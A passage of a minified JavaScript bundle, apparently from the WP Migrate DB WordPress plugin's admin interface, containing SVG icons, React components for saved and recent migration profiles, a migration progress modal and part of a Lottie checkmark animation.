2.51 0 0 1 2.254 3.084 7.813 7.813 0 0 1 8.515 6.013c.047.21.083.419.116.628a7.137 7.137 0 0 1 3.426 3.347c-.234.26-.48.52-.725.77C38.953 47.544 32.8 50.35 26 50.35 12.574 50.35 1.65 39.426 1.65 26c0-3.756.856-7.316 2.38-10.494.14-.292.289-.574.44-.86a6.451 6.451 0 0 1 3.58 1.38c.288.177.54.408.74.69ZM26 0C16.127 0 6.944 5.753 2.61 14.658A25.753 25.753 0 0 0 0 26c0 14.336 11.664 26 26 26 6.691 0 13.054-2.553 17.918-7.186C49.13 39.849 52 33.168 52 26 52 11.664 40.336 0 26 0Z"}),r.createElement("path",{fill:"#FFF",d:"M8.637 31.951c.23-.053.456-.068.685-.093-.23.025-.455.04-.685.093a6.098 6.098 0 0 0-1.821.74v.003a6.012 6.012 0 0 1 1.821-.743m9.325 6.798zM9.206 22.781a7.7 7.7 0 0 0-.172-1.578c-.08-.33-.194-.638-.309-.95.115.312.23.62.305.95.122.531.169 1.058.176 1.578m-3.798-6.627c-.018-.014-.04-.021-.057-.032.018.01.04.018.057.032zm17.572 21.55c.937-.84 2.168-1.464 3.568-1.765a9.251 9.251 0 0 0 0 0c-1.4.301-2.635.925-3.568 1.765a7.434 7.434 0 0 0 0 0M36.293 40.353c.895-.22 1.786.193 2.268.953a4.853 4.853 0 0 1 3.577.883 4.833 4.833 0 0 0-3.574-.883c-.485-.76-1.373-1.172-2.271-.953"}),r.createElement("path",{fill:"#81BDD4",d:"M17.569 28.177h1.61a2.66 2.66 0 0 1 3.04-.018l-.007.018h.974c.015-.555.549-1.004 1.21-1.004.673-.003 1.219.46 1.219 1.026h-1.222l-.004.003h.008c0 .42-.83.781-2.018.942v5.153a3.054 3.054 0 0 1-2.81-1.861l-.215.347c-1.272-.854-1.665-2.584-.873-3.862.004-.003.008-.01.011-.014-.567-.186-.923-.43-.923-.705h.014c-.003-.007-.014-.018-.014-.025M3.586 15.213c.436.157.858.347 1.258.577.018.011.04.018.058.033a7.842 7.842 0 0 1 3.28 3.755c.043.103.065.216.101.318.117.317.233.631.313.967.12.54.167 1.077.175 1.606a7.818 7.818 0 0 1-.451 2.84c-.022.061-.04.12-.066.174a7.867 7.867 0 0 1-3.89 4.227c.426.288.804.646 1.135 1.044.414.5.752 1.069.967 1.711a6.168 6.168 0 0 1 1.847-.752c.232-.054.461-.065.694-.095a6.16 6.16 0 0 1 4.73 1.46c.774.672 1.4 1.53 1.774 2.537.211.128.407.277.585.441.011.011.026.019.037.03.033.029.058.062.087.094.41.413.72.928.89 1.522.019.066.044.128.059.194.01.047.015.095.022.142.025.135.05.27.062.402.112-.059.236-.106.356-.161a6.593 6.593 0 0 1 1.102-.409c.047-.014.087-.033.134-.044.015-.003.03-.003.04-.007a7.836 7.836 0 0 1 1.85-.222c.524 0 1.037.05 1.524.146.97-.854 2.247-1.49 3.701-1.796a9.442 9.442 0 0 1 1.978-.204c1.076 0 2.098.175 3.025.489 1.541.525 2.817 1.441 3.624 2.587.306.438.546.905.702 1.402a2.307 2.307 0 0 1 2.898.81 5.413 5.413 0 0 1 5.013 2.003c.251-.251.495-.514.731-.777a7.175 7.175 0 0 0-3.454-3.383 7.75 7.75 0 0 0-.113-.635c-.905-3.964-4.639-6.544-8.576-6.077.047-.182.073-.376.073-.573a2.534 2.534 0 0 0-2.338-2.544c.004-.072.007-.15.007-.226.011-2.42-1.93-4.394-4.344-4.409a4.298 4.298 0 0 0-2.382.694 8.168 8.168 0 0 0-5.071-.456 8.189 8.189 0 0 0-3.745 1.978 7.24 7.24 0 0 0-2.498-1.128 4.756 4.756 0 0 0 1.734-4.825 4.737 4.737 0 0 0-4.392-3.682 6.072 6.072 0 0 0-.458-.555 2.46 2.46 0 0 0-.741-.697 6.47 6.47 0 0 0-3.603-1.394 24.33 24.33 0 0 0-.444.868m41 12.85a1.87 1.87 0 0 0-1.214.458c-.529-.907-1.44-1.51-2.473-1.51-1.047 0-1.97.624-2.495 1.56-.02 0-.038-.003-.057-.003-.877 0-1.588.807-1.588 1.8h9.862c0-1.273-.908-2.306-2.035-2.306"}),r.createElement("path",{fill:"#04223F",d:"M42.746 41.767a5.478 5.478 0 0 0-3.847-.891 2.314 2.314 0 0 0-2.903-.805 5.109 5.109 0 0 0-.704-1.391c-.81-1.138-2.09-2.048-3.636-2.57a9.555 9.555 0 0 0-3.034-.485 9.79 9.79 0 0 0-1.984.203c-1.458.304-2.738.935-3.712 1.783-.489-.094-1-.145-1.528-.145-.646 0-1.27.08-1.856.22-.011.004-.026.004-.04.008-.044.015-.088.033-.135.044-.39.105-.759.242-1.105.405-.12.055-.245.102-.358.16v.004a3.832 3.832 0 0 0-.062-.403c-.007-.047-.01-.094-.022-.137-.014-.07-.04-.13-.058-.196a3.594 3.594 0 0 0-.893-1.515c-.03-.029-.055-.061-.088-.09-.01-.011-.025-.019-.036-.03a3.686 3.686 0 0 0-.587-.438 6.193 6.193 0 0 0-1.78-2.518 6.21 6.21 0 0 0-4.748-1.45c-.23.025-.46.04-.693.094a6.173 6.173 0 0 0-1.852.75v-.003a5.271 5.271 0 0 0-.97-1.7 5.385 5.385 0 0 0-1.138-1.032 7.86 7.86 0 0 0 3.902-4.2l.065-.174c.325-.888.474-1.841.453-2.82a7.498 7.498 0 0 0-.18-1.594c-.076-.333-.192-.645-.31-.96-.036-.102-.057-.214-.101-.316a7.811 7.811 0 0 0-3.29-3.728c-.018-.015-.04-.022-.058-.033a7.91 7.91 0 0 0-1.262-.573 24.168 24.168 0 0 0-2.403 10.531c0 13.473 11.031 24.435 24.59 24.435 6.867 0 13.08-2.816 17.548-7.342a5.567 5.567 0 0 0-1.185-1.098"}),r.createElement("path",{fill:"#81BDD4",d:"M19.648 20.235c-.948 0-1.717.631-1.717 1.417h6.276c0-1.14-1.118-2.062-2.496-2.062-.725 0-1.372.254-1.83.66a1.64 1.64 0 0 0-.233-.015"}),r.createElement("path",{fill:"#04223F",d:"M18.15 17.034c2.097 0 3.794-.533 3.805-1.188l1.355-.003c0-.651-.607-1.177-1.355-1.177-.745 0-1.35.526-1.353 1.173h-.91l2.356-4.702c-1.535-.827-3.398-.254-4.167 1.278-.19.383-.297.79-.321 1.198l-1.439-1.578c-1.055 1.038-1.172 2.688-.324 3.804l-1.452.004c0 .658 1.704 1.191 3.805 1.191m16.874 4.483c3.989 0 7.223-.987 7.23-2.201h2.574c0-1.203-1.154-2.179-2.573-2.179-1.424 0-2.573.976-2.577 2.179H37.63l.004-10.35c-2.288 0-4.251 1.34-5.105 3.258l-.396-.622c-2.292 1.49-2.994 4.496-1.571 6.72.248.387.558.707.89.994h-3.659c0 1.214 3.238 2.201 7.23 2.201m-16.166 7.125-.01.015c-.796 1.286-.402 3.027.874 3.887l.215-.349a3.062 3.062 0 0 0 2.819 1.874v-5.188c1.192-.162 2.024-.526 2.024-.948h-.008l.004-.004H26c0-.57-.547-1.036-1.221-1.032-.664 0-1.2.452-1.215 1.01h-.977l.007-.018c-.973-.654-2.176-.607-3.048.018h-1.615c0 .007.011.015.011.026h-.011c0 .275.357.522.926.709"})))),p=(a.p,a.p+"static/media/mdb-branding-transparent.edbb2b6f.svg");var u,_,g=a(33782),f=(a(14962),a(57748)),b=a(98332),h=a(95274),v=a(17762),E=b.Ay.div(u||(u=(0,f.A)(["\n display: grid;\n"]))),w=a(60987),y=a(19496),A=a(87253),k=a(9640),x=a.n(k),N=a(64573),S=a.n(N),T=a(35356);function P(){return P=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",P({xmlns:"http://www.w3.org/2000/svg",width:16,height:16,viewBox:"0 0 16 16"},e),_||(_=r.createElement("path",{fill:"none",stroke:"#236DE7",strokeWidth:2,d:"M4 8.5 7.2 11 12 5"})));a.p;var C=e=>{var t=e.deleteItem,a=e.cancelDelete,n=e.item,i=e.index;return r.createElement("div",{className:"flex-container confirm-delete tip"},r.createElement("div",{className:"speech-shadow"},r.createElement("div",{className:"speech-bubble-left"},r.createElement("p",{className:"margin-bottom"},(0,v.__)("Are you sure?","wp-migrate-db")),r.createElement("div",{className:"flex-container"},r.createElement("button",{className:"btn btn-tooltip delete icon",onClick:()=>t(n,i)},r.createElement("div",{className:"flex-container"},r.createElement("div",null,r.createElement(O,{className:"styled-check"})),(0,v.__)("Delete","wp-migrate-db"))),r.createElement("button",{className:"btn btn-tooltip-stroke",onClick:()=>a()},(0,v.__)("Cancel","wp-migrate-db"))))))},R=(a(34260),["profilesList","profilesRenaming","profilesDeleting","btn_text","toggled","recentProfilesEmpty"]);const D=e=>{var t=e.profilesList,a=e.profilesRenaming,n=e.profilesDeleting,i=e.btn_text,l=e.toggled,s=e.recentProfilesEmpty,o=(0,A.A)(e,R),d=[],m=n||a,p=(0,r.useState)(),u=(0,y.A)(p,2),_=u[0],g=u[1],f=()=>{g("")},b=async(e,t)=>{if(m)return!1;await o.removeSavedProfile(e.guid,t,e.name)&&g("")},h=(e,t)=>{if(t)return!1;o.toggleEdit(e)},E=(e,t)=>{if(t)return!1;(e=>{g(e)})(e)},k=t.map(((e,t)=>{var s=(0,w.A)((0,w.A)({},o),{},{deleteItem:b,cancelDelete:f,item:e,index:t}),p=l.includes(t),u=l.length>0&&!p,g=u?"disabled ":"",y=(0,T.decode)(e.name),A=u?r.createElement("span",{className:"link"},y):r.createElement(c.N_,{to:"/migrate/".concat(e.id),onClick:()=>{o.profileLoading()},className:"link"},y);if(-1!==S()(l,t)){var k="btn icon save-profile btn-tooltip profile-screen".concat("success"===i?" btn-success":"");A=r.createElement(r.Fragment,null,r.createElement(x(),{active:p},r.createElement("div",{className:"button-wrap ".concat(p?" toggled":"")},r.createElement("input",{type:"text",defaultValue:y,ref:e=>d[t]=e}),r.createElement("button",{className:"action-btn ".concat(k).concat(n||a?" in-progress":""),onClick:()=>{if(m)return!1;o.changeName(e.guid,t,d[t].value)}},r.createElement(O,{className:"styled-check"}),"Save"),r.createElement("button",{onClick:()=>h(t,u),className:"action-btn btn btn-tooltip-stroke profile-screen"},(0,v.__)("Cancel","wp-migrate-db")))))}return r.createElement("tr",{className:"".concat(g,"flex-container").concat(p?" toggled":""),key:t},r.createElement("td",null,e.id),r.createElement("td",{className:"table-col-action"},A),!p&&r.createElement(r.Fragment,null,r.createElement("td",null,r.createElement("button",{onClick:()=>h(t,u),className:"link"},(0,v.__)("Rename","wp-migrate-db"))),r.createElement("td",null,r.createElement("button",{className:"action-btn delete-profile link text-error".concat(n||a?" in-progress":" text-error"),onClick:()=>E(t,u)},(0,v.__)("Delete","wp-migrate-db")))),_===t&&r.createElement("td",{className:"relative"},r.createElement(C,s)))})),N=s&&1===t.length?"one-profile ":"";return r.createElement("table",{className:"".concat(N,"profile-table")},r.createElement("tbody",null,k))};var I=a(81503),M=["recentMigrations","savedProfilesEmpty"];const L=e=>{var t=e.recentMigrations,a=e.savedProfilesEmpty,n=(0,A.A)(e,M),i=t.map(((e,t)=>{var a=!!n.isSaving;return r.createElement("tr",{className:"flex-container",key:t},r.createElement("td",{className:"table-col-item"},r.createElement(c.N_,{to:"/unsaved/".concat(e.id),onClick:()=>{n.profileLoading()},className:"link"},(0,T.decode)(e.name))),r.createElement("td",{className:"date"},(0,I.hw)("M d ".concat(window.wpmdb_data.time_format),1e3*e.date)),r.createElement("td",null,r.createElement("button",{className:n.isSaving?"link saving":"link",disabled:a,onClick:()=>{if(a)return!1;n.handleUnsaved(e.id,t)}},(0,v.__)("Save","wp-migrate-db"))))})),l=a&&1===t.length?"one-profile ":"";return r.createElement("table",{className:"".concat(l,"profile-table")},r.createElement("tbody",null,i))};var F=a(23397);function B(){return B=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",B({height:16,viewBox:"0 0 16 16",width:16,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("path",{d:"M6 1a1 1 0 0 0-2 0v8a1 1 0 0 0 2 0V1Z",style:{fill:"#fff"},transform:"translate(3 3)"}),r.createElement("path",{d:"M6 1a1 1 0 0 0-2 0v8a1 1 0 0 0 2 0V1Z",style:{fill:"#fff"},transform:"rotate(-90 8 5)"}));a.p;var z=a(16930),G=a(1626),j=a(14057),V=a(95222),H=a(44016),W=a(16274),q=a(75953),Z=a(58347),Q=a(57524),Y=a(75742);function J(){return(0,G.b)(j.vV)}function K(e,t){return async(n,r)=>{var l;(0,i.vA)((()=>{n((0,W.$V)()),n(J())}));try{l=await(0,g.ty)("/load-profile",{id:e,unSaved:t},!1,n)}catch(c){return void n((0,G.b)(j.Yw,(0,v.__)("Error loading profile, please check your server error logs.","wp-migrate-db")))}if("Profile does not exist."!==l.data){if(l.data.hasOwnProperty("profile")){l.data.profile.value=JSON.parse(l.data.profile.value);var s=l.data.profile.value.current_migration.intent;return(0,g.PQ)()||["savefile","find_replace","backup_local"].includes(s)?(n({type:V.vm,payload:l.data}),(0,i.vA)((()=>{(0,g.PQ)()&&["push","pull"].includes(s)&&n((async(e,t)=>{var n=(0,Q.ud)("intent",t()),r=(0,Y.z)("connection_state",t()),i=await Promise.resolve().then(a.bind(a,24930)),l=i.changeConnection,s=i.connectToRemote;if("push"===n||"pull"===n){if(await e(l("".concat(r.url,"\n").concat(r.key))))return!1;e(s(n))}})),"import"===s&&n((0,G.b)(V.GF,!1)),setTimeout((()=>{n((0,H.Tz)("action_buttons"))}),100)})),l.data):(n({type:j.m4,payload:{}}),!1)}n((0,G.b)(j.Yw,l.data))}else n((0,G.b)(j.Yw,l.data))}}function X(e){return async(t,a)=>{var n=e.path.includes("unsaved"),r=(0,Z.k)("masked_licence",a()),i=await t(K(e.params.id,n));if(!i)return!1;var l=i.profile.value.current_migration.intent,s=(e=>{switch(e){case"push":case"pull":return"connect";case"find_replace":case"backup":case"savefile":default:return"database";case"import":return"import"}})(l);"import"!==l||r||t((0,W.ub)(!1)),t((0,H.NX)({panel:s,title:q.U[l],intent:l},!0))}}var $,ee=a(50029),te=(0,b.Ay)(E)($||($=(0,f.A)(["\n h3 {\n padding-bottom: 0.5rem;\n }\n"])));const ae=(0,i.Ng)((e=>({toggled:(0,ee.G)("toggled",e),notifications:e.notifications,profiles:e.profiles,migration:e.migrations,current_migration:e.migrations.current_migration,connection_info:e.migrations.connection_info})),{handleUnSaved:F.bs,handleItemNameChange:F.Nh,removeProfile:F.Iq,removeSavedProfile:F.Bi,toggleProfileEdit:F.On,profileLoading:J,renderSaveProfileButtonText:F._7})((e=>{var t=e.profiles,a=(0,i.wA)(),n=e.profiles.status,l=n.saving_recent,o=n.saving,d=n.profile_deleting,m=n.profile_renaming,p=n.profile_save_error;(0,r.useEffect)((()=>{var e=new URL(window.location.href),t=new URLSearchParams(window.location.search);if(t.has("redirect_profile")){var a="unsaved";"1"===t.get("saved_profile")&&(a="migrate");var n=t.get("redirect_profile");t.delete("saved_profile"),t.delete("redirect_profile"),e.search=t.toString(),window.location.href="".concat(e.toString(),"#").concat(a,"/").concat(n)}}),[]);return r.createElement(te,{className:"wpmdb-profiles"},p&&"migration"!==p.location&&r.createElement(z.A,{type:"danger"},p.message),r.createElement("section",{className:"profiles-list"},r.createElement("div",{className:"container-shadow table"},r.createElement("div",{className:"flex-container"},r.createElement("h2",{className:"table-heading"},(0,v.__)("Saved Profiles","wp-migrate-db"))),r.createElement("div",{className:"table-divider-line bg-grey-light"}),t.saved.length>0?r.createElement(D,(0,s.A)({profilesList:t.saved,changeName:(t,a,n)=>{e.handleItemNameChange(t,a,n)},removeProfile:(t,a,n)=>{e.removeSavedProfile(t,a,n)},toggleEdit:t=>{e.toggleProfileEdit(t)},recentProfilesEmpty:0===t.recent.length,toggled:e.profiles.toggled,profilesRenaming:m,profilesDeleting:d,profileLoading:e.profileLoading},e)):r.createElement("div",{className:"no-items-wrap".concat(0===t.saved.length&&1===t.recent.length?" one-profile":"")},r.createElement("p",{className:"no-items"},(0,h.Ay)((0,v.nv)((0,v.__)('There are no saved profiles — Get Started.',"wp-migrate-db"),"#migrate"))))),r.createElement("div",{className:"container-shadow table"},r.createElement("div",{className:"flex-container"},r.createElement("h2",{className:"table-heading"},(0,v.__)("Last 10 Unsaved Profiles","wp-migrate-db"))),r.createElement("div",{className:"table-divider-line bg-grey-light"}),t.recent.length>0?r.createElement(L,{handleUnsaved:async(t,a)=>{await e.handleUnSaved(t,a)},recentMigrations:t.recent,isSaving:o,savedProfilesEmpty:0===t.saved.length,isSavingRecent:l,profileLoading:e.profileLoading}):r.createElement("div",{className:"no-items-wrap".concat(1===t.saved.length&&0===t.recent.length?" one-profile":"")},r.createElement("p",{className:"no-items"},(0,h.Ay)((0,v.nv)((0,v.__)('There are no recent migrations — Get started.',"wp-migrate-db"),"#migrate")))))),r.createElement(c.N_,{to:"/migrate",className:"btn new-migration",replace:!0,onClick:()=>{a({type:"RESET_APP"})}},r.createElement(U,{"aria-hidden":"true"})," ",(0,v.__)("New Migration","wp-migrate-db")))}));var ne,re=a(25901),ie=b.Ay.div(ne||(ne=(0,f.A)(["\n animation-duration: ",";\n animation-timing-function: ",";\n animation-delay: ",";\n animation-iteration-count: ",";\n animation-direction: ",";\n animation-fill-mode: ",";\n animation-play-state: ",";\n display: ",";\n"])),(e=>e.duration),(e=>e.timingFunction),(e=>e.delay),(e=>e.iterationCount),(e=>e.direction),(e=>e.fillMode),(e=>e.playState),(e=>e.display));ie.defaultProps={duration:"1s",timingFunction:"ease",delay:"0s",iterationCount:"1",direction:"normal",fillMode:"both",playState:"running",display:"block"};const le=ie;var se,ce,oe,de=a(68647),me=a(59833),pe=a(48346),ue=["children","animation","bgAnimation","setRunning","shouldClose"],_e=b.Ay.div(se||(se=(0,f.A)(["\n position: fixed; /* Stay in place */\n z-index: 1; /* Sit on top */\n left: 0;\n top: 0;\n display: flex;\n justify-content: center;\n width: 100%; /* Full width */\n height: 100%; /* Full height */\n overflow: auto; /* Enable scroll if needed */\n background-color: rgb(0, 0, 0); /* Fallback color */\n background-color: rgba(0, 0, 0, 0.6); /* Black w/ opacity */\n"]))),ge=(0,b.Ay)(le)(ce||(ce=(0,f.A)(["\n animation-name: ",";\n position: absolute;\n"])),(e=>e.animation)),fe=(0,b.Ay)(le)(oe||(oe=(0,f.A)(["\n animation-name: ",";\n z-index: 999999;\n position: relative;\n"])),(e=>e.bgAnimation)),be=null;(0,g.PQ)()||(be=r.lazy((()=>Promise.all([a.e(869),a.e(639)]).then(a.bind(a,20639)))));const he=e=>{var t=e.children,a=e.animation,n=e.bgAnimation,l=e.setRunning,s=e.shouldClose,c=(0,A.A)(e,ue),o=c.complete?" migration-complete":"",d=(0,i.wA)();return re.createPortal(r.createElement(fe,{bgAnimation:n,className:"modal-bg"},r.createElement(_e,{onClick:c.onClick},r.createElement(ge,{className:"modal-container",duration:"0.8s",delay:"0.2s",animation:a,onAnimationEnd:()=>{d(s?l(!1):async e=>{try{await e((0,de.GD)("INITIATE_MIGRATION"))}catch(Tr){console.error(Tr),e((0,me.z)({error_type:pe.mN,error_message:Tr}))}})}},r.createElement(x(),{active:!s},r.createElement("div",{className:"migration-progress".concat(o)},t)),be&&r.createElement(r.Suspense,{fallback:r.createElement("div",null,(0,v.__)("Loading...","wp-migrate-db"))},r.createElement(be,c))))),document.getElementById("wpmdb-main"))};var ve,Ee,we,ye,Ae,ke=(0,b.i7)(ve||(ve=(0,f.A)(["\n from {\n opacity: 0;\n padding-top: 0;\n }\n to {\n opacity: 1;\n padding-top: 64px;\n }\n"]))),xe=(0,b.i7)(Ee||(Ee=(0,f.A)(["\n from {\n opacity: 1;\n padding-top: 64px;\n }\n to {\n opacity: 0;\n padding-top: 40px;\n }\n"]))),Ne=(0,b.i7)(we||(we=(0,f.A)(["\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n"]))),Se=(0,b.i7)(ye||(ye=(0,f.A)(["\n from {\n opacity: 1;\n }\n to {\n opacity: 0;\n }\n"]))),Te=a(97734);function Pe(){return Pe=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Pe({xmlns:"http://www.w3.org/2000/svg",width:52,height:52,viewBox:"0 0 52 52"},e),Ae||(Ae=r.createElement("g",{fill:"none",fillRule:"evenodd"},r.createElement("circle",{cx:26,cy:26,r:26,fill:"#EA4C49",opacity:.202}),r.createElement("circle",{cx:26,cy:26,r:19.067,fill:"#EA4C49"}),r.createElement("rect",{width:3.467,height:12.711,x:24.267,y:16.756,fill:"#FFF",rx:1.733}),r.createElement("circle",{cx:26,cy:33.511,r:1.733,fill:"#FFF"}))));a.p;var Ce=a(11708),Re=a(13657);const De=(0,i.Ng)((e=>{var t=(0,Q.w1)("stage_size",e),a=(0,Q.w1)("timer",e);return{running_size:t,timerOn:a.on,timerTime:a.time,timerStart:a.start}}),{startTimer:Ce.Ip,stopTimer:Ce.Sp,resetTimer:Ce.nz})((e=>{var t=e.timerTime,a=(0,Re.ZS)(t,!0),n=(0,Re.HD)(t,!0),i=(0,Re.DU)(t,!0);return r.createElement("div",{className:"timer"},r.createElement("div",{className:"timer-display"},i," : ",n," : ",a))}));var Ie=a(9053),Me=a(82640);const Le=JSON.parse('{"v":"5.5.4","fr":30,"ip":0,"op":40,"w":140,"h":140,"nm":"Success Checkmark","ddd":0,"assets":[],"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"arrow 8","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.611},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[3.212,-3.212,0],"ti":[-7.639,7.639,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.514},"t":30,"s":[88.752,49.779,0],"to":[4.253,-4.253,0],"ti":[-1.788,1.788,0]},{"t":37,"s":[100,40.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":-3,"bm":0},{"ddd":0,"ind":2,"ty":4,"nm":"arrow 7","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.603},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[4.282,0,0],"ti":[-10.185,0,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.498},"t":30,"s":[95.503,70.031,0],"to":[5.671,0,0],"ti":[-2.384,0,0]},{"t":37,"s":[110,70.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":3,"ty":4,"nm":"arrow 6","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.611},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[3.212,3.212,0],"ti":[-7.639,-7.639,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.514},"t":30,"s":[88.752,90.283,0],"to":[4.253,4.253,0],"ti":[-1.788,-1.788,0]},{"t":37,"s":[100,100.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - 